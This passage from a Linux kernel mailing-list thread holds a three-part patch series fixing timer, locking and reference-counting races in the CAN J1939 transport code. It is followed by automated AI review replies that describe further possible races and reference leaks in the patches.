-			if (hrtimer_try_to_cancel(&session->txtimer) == 1)
+			bool put_ref;
+
+			spin_lock(&session->txtimer_lock);
+			put_ref = j1939_session_txtimer_cancel_async_locked(session);
+			spin_unlock(&session->txtimer_lock);
+			if (put_ref)
 				j1939_session_put(session);
 			if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
 				j1939_session_put(session);
-- 
2.43.0

[PATCH net v5 2/3] can: j1939: cancel TX timer after RX timeout

[Zihan Xi]

When the RX timeout path moves an active session to WAITING_ABORT, stop
its TX timer after dropping active_session_list_lock.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 net/can/j1939/transport.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 4958f7c47ca4..c85d7bb3c12d 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -1387,6 +1387,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
 						     struct j1939_session,
 						     rxtimer);
 	struct j1939_priv *priv = session->priv;
+	bool cancelled = false;
 
 	if (session->state == J1939_SESSION_WAITING_ABORT) {
 		netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
@@ -1414,8 +1415,11 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
 				      ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
 				      HRTIMER_MODE_REL_SOFT);
 			__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
+			cancelled = true;
 		}
 		j1939_session_list_unlock(session->priv);
+		if (cancelled)
+			j1939_session_txtimer_cancel_async(session);
 
 		if (!session->sk)
 			j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
-- 
2.43.0

[PATCH net v5 3/3] can: j1939: serialize session TX with state changes

[Zihan Xi]

A TX timer callback can pass its ACTIVE check before an RX timeout
moves the session to WAITING_ABORT. Since timer cancellation is
asynchronous, the callback can continue and send a stale CTS or EOMA.

Serialize session frame sends with terminal state changes and reject
frames at the send point after the session stops being active. Close the
send gate before synchronously draining terminal timers so an in-flight
callback cannot send during the drain. Ignore callback cancellation if a
terminal path already shut down sends, including its raw ABORT response.

Error paths let session_cancel() perform the WAITING_ABORT transition
before arming the RX abort timeout. Arm that timeout outside the
active-session-list lock so a running RX timer cannot deadlock against it.
Advance the socket queue when a simple session times out.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 net/can/j1939/j1939-priv.h |   3 +
 net/can/j1939/transport.c  | 113 ++++++++++++++++++++++++++++---------
 2 files changed, 90 insertions(+), 26 deletions(-)

diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index c95fca38b8b1..8b52d499154a 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -292,6 +292,9 @@ struct j1939_session {
 	} pkt;
 	struct hrtimer txtimer, rxtimer;
 	unsigned int txtimer_cancelers; /* block starts while a cancel waits */
+	/* Serialize session frame transmission against terminal state changes. */
+	spinlock_t tx_send_lock;
+	bool tx_send_shutdown;
 	spinlock_t txtimer_lock;
 	/* One reference pins the complete queued/running timer lifetime. */
 	bool txtimer_shutdown;
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index c85d7bb3c12d..7d6ed7fb8c56 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -382,8 +382,16 @@ static void j1939_session_rxtimer_cancel(struct j1939_session *session)
 		j1939_session_put(session);
 }
 
+static void j1939_session_tx_send_shutdown(struct j1939_session *session)
+{
+	spin_lock_bh(&session->tx_send_lock);
+	session->tx_send_shutdown = true;
+	spin_unlock_bh(&session->tx_send_lock);
+}
+
 void j1939_session_timers_cancel(struct j1939_session *session)
 {
+	j1939_session_tx_send_shutdown(session);
 	j1939_session_txtimer_cancel(session, true);
 	j1939_session_rxtimer_cancel(session);
 }
@@ -714,6 +722,25 @@ sk_buff *j1939_tp_tx_dat_new(struct j1939_priv *priv,
 	return skb;
 }
 
+static int j1939_session_tx_send(struct j1939_session *session,
+				 struct sk_buff *skb)
+{
+	int ret;
+
+	/* Pair the state check and send with terminal state transitions. */
+	spin_lock_bh(&session->tx_send_lock);
+	if (session->tx_send_shutdown ||
+	    READ_ONCE(session->state) != J1939_SESSION_ACTIVE) {
+		spin_unlock_bh(&session->tx_send_lock);
+		kfree_skb(skb);
+		return -ESHUTDOWN;
+	}
+	ret = j1939_send_one(session->priv, skb);
+	spin_unlock_bh(&session->tx_send_lock);
+
+	return ret;
+}
+
 /* TP transmit packet functions */
 static int j1939_tp_tx_dat(struct j1939_session *session,
 			   const u8 *dat, int len)
@@ -730,12 +757,13 @@ static int j1939_tp_tx_dat(struct j1939_session *session,
 	if (j1939_tp_padding && len < 8)
 		memset(skb_put(skb, 8 - len), 0xff, 8 - len);
 
-	return j1939_send_one(priv, skb);
+	return j1939_session_tx_send(session, skb);
 }
 
 static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
 			       const struct j1939_sk_buff_cb *re_skcb,
-			       bool swap_src_dst, pgn_t pgn, const u8 *dat)
+			       bool swap_src_dst, pgn_t pgn, const u8 *dat,
+			       struct j1939_session *session)
 {
 	struct sk_buff *skb;
 	u8 *skdat;
@@ -753,6 +781,8 @@ static int j1939_xtp_do_tx_ctl(struct j1939_priv *priv,
 	skdat[6] = (pgn >> 8);
 	skdat[7] = (pgn >> 16);
 
+	if (session)
+		return j1939_session_tx_send(session, skb);
 	return j1939_send_one(priv, skb);
 }
 
@@ -763,7 +793,7 @@ static inline int j1939_tp_tx_ctl(struct j1939_session *session,
 
 	return j1939_xtp_do_tx_ctl(priv, &session->skcb,
 				   swap_src_dst,
-				   session->skcb.addr.pgn, dat);
+				   session->skcb.addr.pgn, dat, session);
 }
 
 static int j1939_xtp_tx_abort(struct j1939_priv *priv,
@@ -780,7 +810,8 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
 	memset(dat, 0xff, sizeof(dat));
 	dat[0] = J1939_TP_CMD_ABORT;
 	dat[1] = err;
-	return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat);
+	return j1939_xtp_do_tx_ctl(priv, re_skcb, swap_src_dst, pgn, dat,
+				   NULL);
 }
 
 void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
@@ -1144,7 +1175,6 @@ static int j1939_xtp_txnext_receiver(struct j1939_session *session)
 
 static int j1939_simple_txnext(struct j1939_session *session)
 {
-	struct j1939_priv *priv = session->priv;
 	struct sk_buff *se_skb = j1939_session_skb_get(session);
 	struct sk_buff *skb;
 	int ret;
@@ -1173,7 +1203,7 @@ static int j1939_simple_txnext(struct j1939_session *session)
 
 	j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
 
-	ret = j1939_send_one(priv, skb);
+	ret = j1939_session_tx_send(session, skb);
 	if (ret)
 		goto out_free;
 
@@ -1203,7 +1233,9 @@ static bool j1939_session_deactivate_locked(struct j1939_session *session)
 		active = true;
 
 		list_del_init(&session->active_session_list_entry);
-		session->state = J1939_SESSION_DONE;
+		spin_lock(&session->tx_send_lock);
+		WRITE_ONCE(session->state, J1939_SESSION_DONE);
+		spin_unlock(&session->tx_send_lock);
 		j1939_session_put(session);
 	}
 
@@ -1231,7 +1263,7 @@ j1939_session_deactivate_activate_next(struct j1939_session *session)
 		j1939_sk_queue_activate_next(session);
 }
 
-static void __j1939_session_cancel(struct j1939_session *session,
+static bool __j1939_session_cancel(struct j1939_session *session,
 				   enum j1939_xtp_abort err)
 {
 	struct j1939_priv *priv = session->priv;
@@ -1239,17 +1271,26 @@ static void __j1939_session_cancel(struct j1939_session *session,
 	WARN_ON_ONCE(!err);
 	lockdep_assert_held(&session->priv->active_session_list_lock);
 
+	spin_lock(&session->tx_send_lock);
+	if (session->tx_send_shutdown) {
+		spin_unlock(&session->tx_send_lock);
+		return false;
+	}
+
 	session->err = j1939_xtp_abort_to_errno(priv, err);
-	session->state = J1939_SESSION_WAITING_ABORT;
+	WRITE_ONCE(session->state, J1939_SESSION_WAITING_ABORT);
 	/* do not send aborts on incoming broadcasts */
 	if (!j1939_cb_is_broadcast(&session->skcb)) {
 		j1939_xtp_tx_abort(priv, &session->skcb,
 				   !session->transmission,
 				   err, session->skcb.addr.pgn);
 	}
+	spin_unlock(&session->tx_send_lock);
 
 	if (session->sk)
 		j1939_sk_send_loop_abort(session->sk, session->err);
+
+	return true;
 }
 
 static void j1939_session_cancel(struct j1939_session *session,
@@ -1261,19 +1302,36 @@ static void j1939_session_cancel(struct j1939_session *session,
 
 	if (session->state >= J1939_SESSION_ACTIVE &&
 	    session->state < J1939_SESSION_WAITING_ABORT) {
-		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
-		__j1939_session_cancel(session, err);
-		spin_lock(&session->txtimer_lock);
-		session->txtimer_shutdown = true;
-		spin_unlock(&session->txtimer_lock);
-		cancelled = true;
+		bool tx_send_shutdown;
+
+		spin_lock(&session->tx_send_lock);
+		tx_send_shutdown = session->tx_send_shutdown;
+		spin_unlock(&session->tx_send_lock);
+		if (!tx_send_shutdown) {
+			cancelled = __j1939_session_cancel(session, err);
+			if (cancelled) {
+				spin_lock(&session->txtimer_lock);
+				session->txtimer_shutdown = true;
+				spin_unlock(&session->txtimer_lock);
+			}
+		}
 	}
 
 	j1939_session_list_unlock(session->priv);
-	if (cancelled)
+	if (cancelled) {
+		bool keep_rxtimer;
+
+		/* Do not wait for the RX timer while holding the session-list lock. */
+		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
+		j1939_session_list_lock(session->priv);
+		keep_rxtimer = session->state == J1939_SESSION_WAITING_ABORT;
+		j1939_session_list_unlock(session->priv);
+		if (!keep_rxtimer)
+			j1939_session_rxtimer_cancel(session);
 		j1939_session_txtimer_cancel_async(session);
+	}
 
-	if (!session->sk)
+	if (cancelled && !session->sk)
 		j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
 }
 
@@ -1329,6 +1387,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
 		 * propagation of the error to user space.
 		 */
 		break;
+	case -ESHUTDOWN:
+		/* A terminal state transition won before the frame was sent. */
+		break;
 	case -EOVERFLOW:
 		j1939_session_cancel(session, J1939_XTP_ABORT_ECTS_TOO_BIG);
 		break;
@@ -1403,7 +1464,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
 		 * be send as soon as CAN bus is in working state again.
 		 */
 		session->err = -ETIME;
-		j1939_session_deactivate(session);
+		j1939_session_deactivate_activate_next(session);
 	} else {
 		j1939_session_list_lock(session->priv);
 		if (session->state >= J1939_SESSION_ACTIVE &&
@@ -1414,14 +1475,15 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
 			hrtimer_start(&session->rxtimer,
 				      ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
 				      HRTIMER_MODE_REL_SOFT);
-			__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
-			cancelled = true;
+			cancelled =
+				__j1939_session_cancel(session,
+						       J1939_XTP_ABORT_TIMEOUT);
 		}
 		j1939_session_list_unlock(session->priv);
 		if (cancelled)
 			j1939_session_txtimer_cancel_async(session);
 
-		if (!session->sk)
+		if (cancelled && !session->sk)
 			j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
 	}
 
@@ -1630,7 +1692,6 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
 	return;
 
  out_session_cancel:
-	j1939_session_timers_cancel(session);
 	j1939_session_cancel(session, err);
 }
 
@@ -1675,6 +1736,7 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
 	memcpy(&session->skcb, skcb, sizeof(session->skcb));
 
 	spin_lock_init(&session->txtimer_lock);
+	spin_lock_init(&session->tx_send_lock);
 	hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
 	hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
 
@@ -1743,7 +1805,9 @@ int j1939_session_activate(struct j1939_session *session)
 		list_add_tail(&session->active_session_list_entry,
 			      &priv->active_session_list);
 		j1939_session_get(session);
-		session->state = J1939_SESSION_ACTIVE;
+		spin_lock(&session->tx_send_lock);
+		WRITE_ONCE(session->state, J1939_SESSION_ACTIVE);
+		spin_unlock(&session->tx_send_lock);
 
 		netdev_dbg(session->priv->ndev, "%s: 0x%p\n",
 			   __func__, session);
@@ -1852,7 +1916,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
 			return -EBUSY;
 
 		/* RTS on active session */
-		j1939_session_timers_cancel(session);
 		j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
 	}
 
@@ -1862,7 +1925,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
 			     __func__, session, skcb->addr.sa, skcb->addr.da,
 			     session->last_cmd);
 
-		j1939_session_timers_cancel(session);
 		j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
 		if (session->transmission) {
 			j1939_session_deactivate_activate_next(session);
@@ -2111,7 +2173,6 @@ static void j1939_xtp_rx_dat_one(struct j1939_session *session,
 
  out_session_cancel:
 	kfree_skb(se_skb);
-	j1939_session_timers_cancel(session);
 	j1939_session_cancel(session, abort);
 	j1939_session_put(session);
 }
-- 
2.43.0

Re: [PATCH net v5 3/3] can: j1939: serialize session TX with state changes

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 5 potential issue(s) to consider:
- [High] can: j1939: rxtimer left armed on -ESHUTDOWN in j1939_simple_txnext()
- [High] can: j1939: race between j1939_session_cancel() and j1939_tp_rxtimer()
- [High] can: j1939: rxtimer left armed on DONE session in duplicate RTS and abort paths
- [High] can: j1939: reference leak in concurrent j1939_tp_set_rxtimeout() calls
- [Medium] can: j1939: j1939_session_tx_dat() logs alert and arms rxtimer on -ESHUTDOWN
--

commit a6494e93c192c5af789ee93f88a46a4c6b3896d4
Author: Zihan Xi <zihanx@nebusec.ai>

can: j1939: serialize session TX with state changes

This commit adds a per-session tx_send_lock and tx_send_shutdown gate to
serialize J1939 session frame transmissions against terminal state
transitions. It also reorders RX abort timeout setup in j1939_session_cancel()
and updates simple session timeout handling.

Link: https://bugtracker.nebusec.ai/f/11143

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index c85d7bb3c12d4..7d6ed7fb8c56b 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c

[ ... ]

> @@ -730,12 +757,13 @@ static int j1939_tp_tx_dat(struct j1939_session *session,
>  	if (j1939_tp_padding && len < 8)
>  		memset(skb_put(skb, 8 - len), 0xff, 8 - len);
>  
> -	return j1939_send_one(priv, skb);
> +	return j1939_session_tx_send(session, skb);
>  }

[Severity: Medium]
When j1939_tp_tx_dat() returns -ESHUTDOWN in j1939_session_tx_dat() because a
terminal state transition won, won't j1939_session_tx_dat() log a spurious
netdev_alert() and potentially re-arm session->rxtimer on the terminated
session?

In j1939_session_tx_dat():

	ret = j1939_tp_tx_dat(session, dat, len + 1);
	if (ret < 0) {
		/* ENOBUFS == CAN interface TX queue is full */
		if (ret != -ENOBUFS)
			netdev_alert(priv->ndev,
				     "%s: 0x%p: queue data error: %i\n",
				     __func__, session, ret);
		break;
	}
	...
	if (pkt_done)
		j1939_tp_set_rxtimeout(session, 250);

If an earlier loop iteration sent at least one packet (pkt_done > 0) before a
subsequent iteration failed with -ESHUTDOWN, j1939_tp_set_rxtimeout() will
still run and re-arm session->rxtimer after the session has already left
J1939_SESSION_ACTIVE.

Similarly, in j1939_session_tx_rts(), j1939_session_tx_dpo(),
j1939_session_tx_cts(), and j1939_session_tx_eoma(), j1939_tp_set_rxtimeout()
is called after j1939_session_tx_send() drops session->tx_send_lock, where a
concurrent terminal transition can be overwritten by the new RX timeout.

[ ... ]

> @@ -1173,7 +1203,7 @@ static int j1939_simple_txnext(struct j1939_session *session)
>  
>  	j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
>  
> -	ret = j1939_send_one(priv, skb);
> +	ret = j1939_session_tx_send(session, skb);
>  	if (ret)
>  		goto out_free;

[Severity: High]
What happens to session->rxtimer if j1939_session_tx_send() returns -ESHUTDOWN
here in j1939_simple_txnext()?

If j1939_tp_txtimer() passes its initial J1939_SESSION_ACTIVE check and a
concurrent j1939_cancel_active_session() transitions the session to
J1939_SESSION_DONE before j1939_simple_txnext() runs, j1939_simple_txnext()
arms session->rxtimer for J1939_SIMPLE_ECHO_TIMEOUT_MS (10 seconds) and grabs
a session reference before j1939_session_tx_send() rejects the packet with
-ESHUTDOWN.

In j1939_tp_txtimer(), the new -ESHUTDOWN case breaks out of the switch
without calling j1939_session_rxtimer_cancel(session), unlike the -ENOBUFS
retry-exhaustion and default error branches:

	case -ESHUTDOWN:
		/* A terminal state transition won before the frame was sent. */
		break;

Since no frame was sent and the session is already unlinked from
priv->active_session_list, won't session->rxtimer remain armed for 10 seconds,
pinning the session, socket, and net_device, and then fire j1939_tp_rxtimer()
to log a false timeout alert and overwrite session->err with -ETIME?

[ ... ]

> @@ -1261,19 +1302,36 @@ static void j1939_session_cancel(struct j1939_session *session,
>  
>  	if (session->state >= J1939_SESSION_ACTIVE &&
>  	    session->state < J1939_SESSION_WAITING_ABORT) {
> -		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
> -		__j1939_session_cancel(session, err);
> -		spin_lock(&session->txtimer_lock);
> -		session->txtimer_shutdown = true;
> -		spin_unlock(&session->txtimer_lock);
> -		cancelled = true;
> +		bool tx_send_shutdown;
> +
> +		spin_lock(&session->tx_send_lock);
> +		tx_send_shutdown = session->tx_send_shutdown;
> +		spin_unlock(&session->tx_send_lock);
> +		if (!tx_send_shutdown) {
> +			cancelled = __j1939_session_cancel(session, err);
> +			if (cancelled) {
> +				spin_lock(&session->txtimer_lock);
> +				session->txtimer_shutdown = true;
> +				spin_unlock(&session->txtimer_lock);
> +			}
> +		}
>  	}
>  
>  	j1939_session_list_unlock(session->priv);
> -	if (cancelled)
> +	if (cancelled) {
> +		bool keep_rxtimer;
> +
> +		/* Do not wait for the RX timer while holding the session-list lock. */
> +		j1939_tp_set_rxtimeout(session, J1939_XTP_ABORT_TIMEOUT_MS);
> +		j1939_session_list_lock(session->priv);
> +		keep_rxtimer = session->state == J1939_SESSION_WAITING_ABORT;
> +		j1939_session_list_unlock(session->priv);
> +		if (!keep_rxtimer)
> +			j1939_session_rxtimer_cancel(session);
>  		j1939_session_txtimer_cancel_async(session);
> +	}

[Severity: High]
Can calling j1939_tp_set_rxtimeout() here outside active_session_list_lock
before cancelling txtimer race with a concurrent j1939_tp_set_rxtimeout() call
and leak a session reference?

j1939_tp_set_rxtimeout() performs an unlocked cancel-get-start sequence:

	j1939_session_rxtimer_cancel(session);
	j1939_session_get(session);
	hrtimer_start(&session->rxtimer, ms_to_ktime(msec),
		      HRTIMER_MODE_REL_SOFT);

Because j1939_session_timers_cancel() was removed from the RX error callers
and txtimer is only cancelled asynchronously after j1939_tp_set_rxtimeout(),
an in-flight j1939_tp_txtimer() callback that just completed
j1939_session_tx_send() (or a concurrent RX path) can call
j1939_tp_set_rxtimeout() concurrently with j1939_session_cancel(). If both
callers pass j1939_session_rxtimer_cancel() before either calls
hrtimer_start(), both increment session->kref and the second hrtimer_start()
overwrites the first without dropping its reference, leaking struct
j1939_session, the socket reference, and the net_device tracker.

Also, in the keep_rxtimer check above, what if j1939_xtp_rx_abort_one() runs
concurrently? In j1939_xtp_rx_abort_one():

	j1939_session_timers_cancel(session);
	j1939_session_deactivate_activate_next(session);

If j1939_xtp_rx_abort_one() finishes j1939_session_timers_cancel() (which sets
tx_send_shutdown = true and cancels rxtimer) before j1939_session_cancel()
calls j1939_tp_set_rxtimeout(), and j1939_session_cancel() checks keep_rxtimer
before j1939_session_deactivate_activate_next() updates session->state to
J1939_SESSION_DONE, keep_rxtimer will evaluate to true because session->state
is still J1939_SESSION_WAITING_ABORT, leaving rxtimer armed on a DONE session.
Should keep_rxtimer also verify that session->tx_send_shutdown is false?

[ ... ]

> @@ -1403,7 +1464,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
>  		 * be send as soon as CAN bus is in working state again.
>  		 */
>  		session->err = -ETIME;
> -		j1939_session_deactivate(session);
> +		j1939_session_deactivate_activate_next(session);
>  	} else {
>  		j1939_session_list_lock(session->priv);
>  		if (session->state >= J1939_SESSION_ACTIVE &&
> @@ -1414,14 +1475,15 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
>  			hrtimer_start(&session->rxtimer,
>  				      ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
>  				      HRTIMER_MODE_REL_SOFT);
> -			__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> -			cancelled = true;
> +			cancelled =
> +				__j1939_session_cancel(session,
> +						       J1939_XTP_ABORT_TIMEOUT);
>  		}
>  		j1939_session_list_unlock(session->priv);
>  		if (cancelled)
>  			j1939_session_txtimer_cancel_async(session);
>  
> -		if (!session->sk)
> +		if (cancelled && !session->sk)
>  			j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
>  	}

[Severity: High]
Could moving j1939_tp_set_rxtimeout() outside active_session_list_lock in
j1939_session_cancel() race with j1939_tp_rxtimer() here in two ways?

First, in j1939_session_cancel(), __j1939_session_cancel() sets session->state
to J1939_SESSION_WAITING_ABORT before the old rxtimer is cancelled in
j1939_tp_set_rxtimeout(). If the pre-existing rxtimer expires in that window,
j1939_tp_rxtimer() sees:

	if (session->state == J1939_SESSION_WAITING_ABORT) {
		netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
			     __func__, session);

		j1939_session_deactivate_activate_next(session);

and immediately deactivates the session instead of waiting for the 500ms abort
timeout.

Second, if j1939_tp_rxtimer() passes that initial check while session->state
is still J1939_SESSION_ACTIVE and spins on j1939_session_list_lock() while
j1939_session_cancel() sets session->state = J1939_SESSION_WAITING_ABORT,
then once j1939_session_cancel() drops the lock, j1939_tp_rxtimer() checks:

	if (session->state >= J1939_SESSION_ACTIVE &&
	    session->state < J1939_SESSION_ACTIVE_MAX)

Since J1939_SESSION_WAITING_ABORT is less than J1939_SESSION_ACTIVE_MAX and
tx_send_shutdown is still false, won't j1939_tp_rxtimer() call
__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT) a second time,
overwriting session->err with EHOSTUNREACH and sending a second ABORT frame?

Also, right above __j1939_session_cancel() in j1939_tp_rxtimer(),
j1939_session_get(session) and hrtimer_start(&session->rxtimer, ...) are
called unconditionally before checking whether __j1939_session_cancel()
returns true. If __j1939_session_cancel() returns false because
session->tx_send_shutdown is set, doesn't that re-arm session->rxtimer with a
new reference on a session that has already shut down?

[ ... ]

> @@ -1852,7 +1916,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
>  			return -EBUSY;
>  
>  		/* RTS on active session */
> -		j1939_session_timers_cancel(session);
>  		j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
>  	}
>  
> @@ -1862,7 +1925,6 @@ static int j1939_xtp_rx_rts_session_active(struct j1939_session *session,
>  			     __func__, session, skcb->addr.sa, skcb->addr.da,
>  			     session->last_cmd);
>  
> -		j1939_session_timers_cancel(session);
>  		j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
>  		if (session->transmission) {
>  			j1939_session_deactivate_activate_next(session);

[Severity: High]
In j1939_xtp_rx_rts_session_active(), when session->last_cmd != 0, does
removing j1939_session_timers_cancel() leave session->rxtimer armed after the
session is deactivated right below?

	if (session->last_cmd != 0) {
		...
		j1939_session_cancel(session, J1939_XTP_ABORT_BUSY);
		if (session->transmission) {
			j1939_session_deactivate_activate_next(session);
		} else if (session->state == J1939_SESSION_WAITING_ABORT) {
			j1939_session_deactivate_activate_next(session);
		}

		return -EBUSY;
	}

Previously, j1939_session_timers_cancel() stopped the timers, and on a
receiver session (!session->transmission) the first j1939_session_cancel() put
the session into J1939_SESSION_WAITING_ABORT so the second
j1939_session_cancel() was a no-op after the second j1939_session_timers_cancel()
cancelled the abort timer.

With j1939_session_timers_cancel() removed, j1939_session_cancel() transitions
the session to J1939_SESSION_WAITING_ABORT and starts session->rxtimer for
500ms, and then j1939_session_deactivate_activate_next() immediately moves the
session to J1939_SESSION_DONE and unlinks it from priv->active_session_list
without cancelling session->rxtimer. Won't that leave session->rxtimer armed
with an active reference on a DONE session?

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793681851.git.zihanx@nebusec.ai?part=3

Re: [PATCH net v5 1/3] can: j1939: fix TX timer reference accounting

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Critical] can: j1939: race in j1939_session_txtimer_cancel_async_locked() drops ref
--

commit f9122b0d36d586b125a26171c0a02491b3e5aab6
Author: Zihan Xi <zihanx@nebusec.ai>

can: j1939: fix TX timer reference accounting

This commit reworks J1939 session TX timer reference accounting so a single
kref reference covers the queued and running lifetime of session->txtimer,
adding synchronization around timer arming, cancellation, and callback
completion.

Link: https://bugtracker.nebusec.ai/f/11143

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..4958f7c47ca44 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
> @@ -301,9 +301,78 @@ void j1939_session_put(struct j1939_session *session)
>  	kref_put(&session->kref, __j1939_session_release);
>  }
>  
> -static void j1939_session_txtimer_cancel(struct j1939_session *session)
> +static void j1939_session_txtimer_cancel(struct j1939_session *session,
> +					 bool shutdown)
>  {
> -	if (hrtimer_cancel(&session->txtimer))
> +	bool put_ref = false;
> +	int ret;
> +
> +	spin_lock_bh(&session->txtimer_lock);
> +	session->txtimer_cancelers++;
> +	if (shutdown)
> +		session->txtimer_shutdown = true;
> +	ret = hrtimer_try_to_cancel(&session->txtimer);
> +	if (ret == 1) {
> +		if (!WARN_ON_ONCE(!session->txtimer_ref)) {
> +			session->txtimer_ref = false;
> +			put_ref = true;
> +		}
> +	}
> +	spin_unlock_bh(&session->txtimer_lock);
> +
> +	/* Never wait for a softirq callback while holding txtimer_lock. */
> +	if (ret < 0) {
> +		ret = hrtimer_cancel(&session->txtimer);
> +		if (ret == 1) {
> +			spin_lock_bh(&session->txtimer_lock);
> +			if (!WARN_ON_ONCE(!session->txtimer_ref)) {
> +				session->txtimer_ref = false;
> +				put_ref = true;
> +			}
> +			spin_unlock_bh(&session->txtimer_lock);
> +		}
> +	}
> +	spin_lock_bh(&session->txtimer_lock);
> +	if (WARN_ON_ONCE(!session->txtimer_cancelers))
> +		session->txtimer_cancelers = 0;
> +	else
> +		session->txtimer_cancelers--;
> +	spin_unlock_bh(&session->txtimer_lock);
> +
> +	if (put_ref)
> +		j1939_session_put(session);
> +}
> +
> +static bool
> +j1939_session_txtimer_cancel_async_locked(struct j1939_session *session)
> +{
> +	int ret;
> +
> +	lockdep_assert_held(&session->txtimer_lock);
> +	session->txtimer_shutdown = true;
> +	ret = hrtimer_try_to_cancel(&session->txtimer);
> +	/* Let a queued successor finish promptly after callback exit. */
> +	if (ret < 0 && session->txtimer_ref &&
> +	    hrtimer_is_queued(&session->txtimer))
> +		hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);

[Severity: Critical]
Can j1939_session_txtimer_cancel_async_locked() race with a concurrent
hrtimer_cancel() in j1939_session_txtimer_cancel() and leave session->txtimer
queued without a session reference?

Unlike j1939_tp_schedule_txtimer(), j1939_session_txtimer_cancel_async_locked()
does not check session->txtimer_cancelers before calling hrtimer_start(), and
hrtimer_cancel() in j1939_session_txtimer_cancel() runs without holding
session->txtimer_lock.

If j1939_tp_txtimer() on CPU 0 has re-armed a successor timer and is exiting
after releasing session->txtimer_lock:

CPU 0 (j1939_tp_txtimer)
  queued = hrtimer_is_queued(&session->txtimer); /* true, keeps txtimer_ref */
  spin_unlock_bh(&session->txtimer_lock);
  return HRTIMER_NORESTART;
  /* still running in __run_hrtimer() before clearing base->running */

CPU 1 (j1939_session_txtimer_cancel)
  spin_lock_bh(&session->txtimer_lock);
  session->txtimer_cancelers++;
  ret = hrtimer_try_to_cancel(&session->txtimer); /* returns -1 */
  spin_unlock_bh(&session->txtimer_lock);
  ret = hrtimer_cancel(&session->txtimer);

CPU 2 (j1939_session_txtimer_cancel_async_locked)
  /* holds session->txtimer_lock */
  ret = hrtimer_try_to_cancel(&session->txtimer); /* returns -1 */
  if (ret < 0 && session->txtimer_ref &&
      hrtimer_is_queued(&session->txtimer)) /* evaluates true */

If CPU 0 then clears base->running in __run_hrtimer() and CPU 1's
hrtimer_cancel() dequeues the pending successor timer and returns 1 before
CPU 2 calls hrtimer_start():

CPU 2
  hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
  /* re-queues session->txtimer and returns false (ret == -1) */

CPU 1
  if (ret == 1) {
